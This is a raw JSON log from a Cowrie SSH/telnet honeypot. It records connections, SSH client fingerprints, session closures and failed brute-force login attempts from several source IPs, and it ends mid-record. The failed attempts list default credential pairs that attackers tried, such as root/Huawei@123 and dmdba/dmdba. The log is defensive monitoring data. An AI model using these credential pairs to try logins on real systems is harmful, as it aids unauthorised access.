{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34920,"dst_ip":"159.203.135.109","dst_port":22,"session":"a976564aa7a9","protocol":"ssh","message":"New connection: 176.65.132.129:34920 (159.203.135.109:22) [session: a976564aa7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:11.017936Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"simsim","message":"login attempt [root/simsim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:11.027715Z","src_ip":"147.45.197.250","session":"edc389ee79a4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:11.133750Z","src_ip":"176.65.132.129","session":"a976564aa7a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:11.138435Z","src_ip":"176.65.132.129","session":"a976564aa7a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:11.481896Z","src_ip":"176.65.132.129","session":"a976564aa7a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34532,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf4c5e3e23ca","protocol":"telnet","message":"New connection: 152.42.224.71:34532 (10.17.0.5:23) [session: bf4c5e3e23ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:11.546249Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.50.125.54","src_port":33176,"dst_ip":"159.203.135.109","dst_port":23,"session":"438ec25ffecf","protocol":"telnet","message":"New connection: 186.50.125.54:33176 (159.203.135.109:23) [session: 438ec25ffecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:11.706852Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:12.120969Z","src_ip":"147.45.197.250","session":"edc389ee79a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34544,"dst_ip":"10.17.0.5","dst_port":23,"session":"682148017b87","protocol":"telnet","message":"New connection: 152.42.224.71:34544 (10.17.0.5:23) [session: 682148017b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:12.376533Z"}
{"eventid":"cowrie.session.closed","duration":38.14430809020996,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:12.404695Z","src_ip":"152.42.224.71","session":"211fa0e82588","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:12.567243Z","src_ip":"176.65.132.129","session":"a976564aa7a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.50.125.54","src_port":33346,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf5ca8b39d92","protocol":"telnet","message":"New connection: 186.50.125.54:33346 (159.203.135.109:23) [session: bf5ca8b39d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:12.991938Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.50.125.54","src_port":33520,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf3392915ff5","protocol":"telnet","message":"New connection: 186.50.125.54:33520 (159.203.135.109:23) [session: bf3392915ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:14.183155Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34924,"dst_ip":"159.203.135.109","dst_port":22,"session":"52ed5a501313","protocol":"ssh","message":"New connection: 176.65.132.129:34924 (159.203.135.109:22) [session: 52ed5a501313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:14.296317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:14.306679Z","src_ip":"176.65.132.129","session":"52ed5a501313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:14.391084Z","src_ip":"176.65.132.129","session":"52ed5a501313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:14.641501Z","src_ip":"176.65.132.129","session":"52ed5a501313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:15.728734Z","src_ip":"176.65.132.129","session":"52ed5a501313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":55596,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebfef3078a18","protocol":"ssh","message":"New connection: 87.251.79.125:55596 (159.203.135.109:22) [session: ebfef3078a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:16.531499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:16.537284Z","src_ip":"87.251.79.125","session":"ebfef3078a18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:16.609748Z","src_ip":"87.251.79.125","session":"ebfef3078a18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"malish","message":"login attempt [root/malish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:16.826613Z","src_ip":"87.251.79.125","session":"ebfef3078a18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43710,"dst_ip":"159.203.135.109","dst_port":22,"session":"258568fe4aa9","protocol":"ssh","message":"New connection: 176.65.132.129:43710 (159.203.135.109:22) [session: 258568fe4aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:17.427268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:17.433201Z","src_ip":"176.65.132.129","session":"258568fe4aa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:17.521155Z","src_ip":"176.65.132.129","session":"258568fe4aa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:17.768976Z","src_ip":"176.65.132.129","session":"258568fe4aa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:17.901243Z","src_ip":"87.251.79.125","session":"ebfef3078a18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:18.857171Z","src_ip":"176.65.132.129","session":"258568fe4aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43712,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a2a1d50a169","protocol":"ssh","message":"New connection: 176.65.132.129:43712 (159.203.135.109:22) [session: 7a2a1d50a169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:20.698710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:20.706022Z","src_ip":"176.65.132.129","session":"7a2a1d50a169","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:20.788483Z","src_ip":"176.65.132.129","session":"7a2a1d50a169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.02589559555054,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:20.927057Z","src_ip":"152.42.224.71","session":"cfd9952b5172","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:21.038637Z","src_ip":"176.65.132.129","session":"7a2a1d50a169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:22.124780Z","src_ip":"176.65.132.129","session":"7a2a1d50a169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.69087195396423,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:22.590360Z","src_ip":"152.42.224.71","session":"230386f40cc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43716,"dst_ip":"159.203.135.109","dst_port":22,"session":"f53674b46fbb","protocol":"ssh","message":"New connection: 176.65.132.129:43716 (159.203.135.109:22) [session: f53674b46fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:24.033479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:24.039165Z","src_ip":"176.65.132.129","session":"f53674b46fbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:24.127333Z","src_ip":"176.65.132.129","session":"f53674b46fbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:24.376475Z","src_ip":"176.65.132.129","session":"f53674b46fbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:25.462671Z","src_ip":"176.65.132.129","session":"f53674b46fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37648,"dst_ip":"159.203.135.109","dst_port":22,"session":"130463f6db71","protocol":"ssh","message":"New connection: 176.65.132.129:37648 (159.203.135.109:22) [session: 130463f6db71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:27.171337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:27.176960Z","src_ip":"176.65.132.129","session":"130463f6db71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:27.259744Z","src_ip":"176.65.132.129","session":"130463f6db71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:27.508562Z","src_ip":"176.65.132.129","session":"130463f6db71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:28.593722Z","src_ip":"176.65.132.129","session":"130463f6db71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37652,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c189316f343","protocol":"ssh","message":"New connection: 176.65.132.129:37652 (159.203.135.109:22) [session: 2c189316f343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:30.395474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:30.400859Z","src_ip":"176.65.132.129","session":"2c189316f343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-